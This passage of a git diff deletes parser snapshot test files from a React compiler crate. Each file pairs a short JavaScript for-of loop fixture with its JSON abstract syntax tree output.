-                    "range": [
-                      52,
-                      56
-                    ]
-                  },
-                  "init": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    56
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                46,
-                56
-              ]
-            },
-            "right": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    61,
-                    62
-                  ]
-                },
-                {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    64,
-                    65
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                60,
-                66
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "BreakStatement",
-                  "label": null,
-                  "loc": null,
-                  "range": [
-                    74,
-                    80
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                68,
-                84
-              ]
-            },
-            "loc": null,
-            "range": [
-              41,
-              84
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                94,
-                95
-              ]
-            },
-            "loc": null,
-            "range": [
-              87,
-              96
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          98
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        98
-      ],
-      "loc": null,
-      "range": [
-        0,
-        98
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    98
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-conditional-break.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-conditional-break.js.snap
deleted file mode 100644
index fce0ca3612a5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-conditional-break.js.snap
+++ /dev/null
@@ -1,313 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/for-of-conditional-break.js
----
-Input:
-function Component() {
-  const x = [];
-  for (const item of [1, 2]) {
-    if (item === 1) {
-      break;
-    }
-    x.push(item);
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    31,
-                    32
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    35,
-                    37
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  31,
-                  37
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              38
-            ]
-          },
-          {
-            "type": "ForOfStatement",
-            "await": false,
-            "left": {
-              "type": "VariableDeclaration",
-              "kind": "const",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "item",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      52,
-                      56
-                    ]
-                  },
-                  "init": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    56
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                46,
-                56
-              ]
-            },
-            "right": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    61,
-                    62
-                  ]
-                },
-                {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    64,
-                    65
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                60,
-                66
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "BinaryExpression",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "item",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        78,
-                        82
-                      ]
-                    },
-                    "operator": "===",
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        87,
-                        88
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      78,
-                      88
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "BreakStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          98,
-                          104
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      90,
-                      110
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    74,
-                    110
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          115,
-                          116
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          117,
-                          121
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        115,
-                        121
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "item",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          122,
-                          126
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      115,
-                      127
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    115,
-                    128
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                68,
-                132
-              ]
-            },
-            "loc": null,
-            "range": [
-              41,
-              132
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                142,
-                143
-              ]
-            },
-            "loc": null,
-            "range": [
-              135,
-              144
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          146
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        146
-      ],
-      "loc": null,
-      "range": [
-        0,
-        146
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    146
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-continue.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-continue.js.snap
deleted file mode 100644
index d507c6f7db5d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-continue.js.snap
+++ /dev/null
@@ -1,389 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/for-of-continue.js
----
-Input:
-function Component() {
-  const x = [0, 1, 2, 3];
-  const ret = [];
-  for (const item of x) {
-    if (item === 0) {
-      continue;
-    }
-    ret.push(item / 2);
-  }
-  return ret;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    31,
-                    32
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        39,
-                        40
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        42,
-                        43
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 3.0,
-                      "loc": null,
-                      "range": [
-                        45,
-                        46
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    35,
-                    47
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  31,
-                  47
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              48
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ret",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    57,
-                    60
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    63,
-                    65
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  57,
-                  65
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              51,
-              66
-            ]
-          },
-          {
-            "type": "ForOfStatement",
-            "await": false,
-            "left": {
-              "type": "VariableDeclaration",
-              "kind": "const",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "item",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      80,
-                      84
-                    ]
-                  },
-                  "init": null,
-                  "loc": null,
-                  "range": [
-                    80,
-                    84
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                74,
-                84
-              ]
-            },
-            "right": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                88,
-                89
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "BinaryExpression",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "item",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        101,
-                        105
-                      ]
-                    },
-                    "operator": "===",
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        110,
-                        111
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      101,
-                      111
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ContinueStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          121,
-                          130
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      113,
-                      136
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    97,
-                    136
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "ret",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          141,
-                          144
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          145,
-                          149
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        141,
-                        149
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "BinaryExpression",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "item",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            150,
-                            154
-                          ]
-                        },
-                        "operator": "/",
-                        "right": {
-                          "type": "NumericLiteral",
-                          "value": 2.0,
-                          "loc": null,
-                          "range": [
-                            157,
-                            158
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          150,
-                          158
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      141,
-                      159
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    141,
-                    160
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                91,
-                164
-              ]
-            },
-            "loc": null,
-            "range": [
-              69,
-              164
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "ret",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                174,
-                177
-              ]
-            },
-            "loc": null,
-            "range": [
-              167,
-              178
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          180
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        180
-      ],
-      "loc": null,
-      "range": [
-        0,
-        180
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    180
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-destructure.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-destructure.js.snap
deleted file mode 100644
index d314b9e29983..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-destructure.js.snap
+++ /dev/null
@@ -1,449 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/for-of-destructure.js
----
-Input:
-function Component() {
-  let x = [];
-  let items = [{ v: 0 }, { v: 1 }, { v: 2 }];
-  for (const { v } of items) {
-    x.push(v * 2);
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    33,
-                    35
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  35
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              36
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "items",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    43,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "ObjectExpression",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "v",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              54,
-                              55
-                            ]
-                          },
-                          "value": {
-                            "type": "NumericLiteral",
-                            "value": 0.0,
-                            "loc": null,
-                            "range": [
-                              57,
-                              58
-                            ]
-                          },
-                          "kind": "init",
-                          "method": false,
-                          "shorthand": false,
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            54,
-                            58
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        52,
-                        60
-                      ]
-                    },
-                    {
-                      "type": "ObjectExpression",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "v",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              64,
-                              65
-                            ]
-                          },
-                          "value": {
-                            "type": "NumericLiteral",
-                            "value": 1.0,
-                            "loc": null,
-                            "range": [
-                              67,
-                              68
-                            ]
-                          },
-                          "kind": "init",
-                          "method": false,
-                          "shorthand": false,
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            64,
-                            68
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        62,
-                        70
-                      ]
-                    },
-                    {
-                      "type": "ObjectExpression",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "v",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              74,
-                              75
-                            ]
-                          },
-                          "value": {
-                            "type": "NumericLiteral",
-                            "value": 2.0,
-                            "loc": null,
-                            "range": [
-                              77,
-                              78
-                            ]
-                          },
-                          "kind": "init",
-                          "method": false,
-                          "shorthand": false,
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            74,
-                            78
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        72,
-                        80
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    51,
-                    81
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  43,
-                  81
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              39,
-              82
-            ]
-          },
-          {
-            "type": "ForOfStatement",
-            "await": false,
-            "left": {
-              "type": "VariableDeclaration",
-              "kind": "const",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "ObjectPattern",
-                    "properties": [
-                      {
-                        "type": "Property",
-                        "key": {
-                          "type": "Identifier",
-                          "name": "v",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            98,
-                            99
-                          ]
-                        },
-                        "value": {
-                          "type": "Identifier",
-                          "name": "v",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            98,
-                            99
-                          ]
-                        },
-                        "kind": "init",
-                        "computed": false,
-                        "shorthand": true,
-                        "method": false,
-                        "loc": null,
-                        "range": [
-                          98,
-                          99
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      96,
-                      101
-                    ]
-                  },
-                  "init": null,
-                  "loc": null,
-                  "range": [
-                    96,
-                    101
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                90,
-                101
-              ]
-            },
-            "right": {
-              "type": "Identifier",
-              "name": "items",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                105,
-                110
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          118,
-                          119
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          120,
-                          124
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        118,
-                        124
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "BinaryExpression",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "v",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            125,
-                            126
-                          ]
-                        },
-                        "operator": "*",
-                        "right": {
-                          "type": "NumericLiteral",
-                          "value": 2.0,
-                          "loc": null,
-                          "range": [
-                            129,
-                            130
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          125,
-                          130
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      118,
-                      131
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    118,
-                    132
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                112,
-                136
-              ]
-            },
-            "loc": null,
-            "range": [
-              85,
-              136
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                146,
-                147
-              ]
-            },
-            "loc": null,
-            "range": [
-              139,
-              148
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          150
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        150
-      ],
-      "loc": null,
-      "range": [
-        0,
-        150
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    150
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-mutate.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-mutate.js.snap
deleted file mode 100644
index e97e7b519532..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-mutate.js.snap
+++ /dev/null
@@ -1,434 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/for-of-mutate.js
----
-Input:
-function Component(props) {
-  const collection = [makeObject()];
-  const results = [];
-  for (const item of collection) {
-    results.push(<div>{mutate(item)}</div>);
-  }
-  return <div>{results}</div>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "collection",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    46
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "makeObject",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          50,
-                          60
-                        ]
-                      },
-                      "arguments": [],
-                      "loc": null,
-                      "range": [
-                        50,
-                        62
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    49,
-                    63
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  63
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              64
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "results",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    73,
-                    80
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    83,
-                    85
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  73,
-                  85
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              67,
-              86
-            ]
-          },
-          {
-            "type": "ForOfStatement",
-            "await": false,
-            "left": {
-              "type": "VariableDeclaration",
-              "kind": "const",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "item",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      100,
-                      104
-                    ]
-                  },
-                  "init": null,
-                  "loc": null,
-                  "range": [
-                    100,
-                    104
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                94,
-                104
-              ]
-            },
-            "right": {
-              "type": "Identifier",
-              "name": "collection",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                108,
-                118
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "results",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          126,
-                          133
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          134,
-                          138
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        126,
-                        138
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "JSXElement",
-                        "openingElement": {
-                          "type": "JSXOpeningElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "div",
-                            "loc": null,
-                            "range": [
-                              140,
-                              143
-                            ]
-                          },
-                          "attributes": [],
-                          "selfClosing": false,
-                          "loc": null,
-                          "range": [
-                            139,
-                            144
-                          ]
-                        },
-                        "children": [
-                          {
-                            "type": "JSXExpressionContainer",
-                            "expression": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "Identifier",
-                                "name": "mutate",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  145,
-                                  151
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "Identifier",
-                                  "name": "item",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    152,
-                                    156
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                145,
-                                157
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              144,
-                              158
-                            ]
-                          }
-                        ],
-                        "closingElement": {
-                          "type": "JSXClosingElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "div",
-                            "loc": null,
-                            "range": [
-                              160,
-                              163
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            158,
-                            164
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          139,
-                          164
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      126,
-                      165
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    126,
-                    166
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                120,
-                170
-              ]
-            },
-            "loc": null,
-            "range": [
-              89,
-              170
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    181,
-                    184
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  180,
-                  185
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "results",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      186,
-                      193
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    185,
-                    194
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    196,
-                    199
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  194,
-                  200
-                ]
-              },
-              "loc": null,
-              "range": [
-                180,
-                200
-              ]
-            },
-            "loc": null,
-            "range": [
-              173,
-              201
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          203
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        203
-      ],
-      "loc": null,
-      "range": [
-        0,
-        203
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    203
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-simple.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-simple.js.snap
deleted file mode 100644
index 50af44c422fa..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-simple.js.snap
+++ /dev/null
@@ -1,321 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/for-of-simple.js
----
-Input:
-function Component() {
-  let x = [];
-  let items = [0, 1, 2];
-  for (const ii of items) {
-    x.push(ii * 2);
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    33,
-                    35
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  35
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              36
-            ]
-          },
-          {
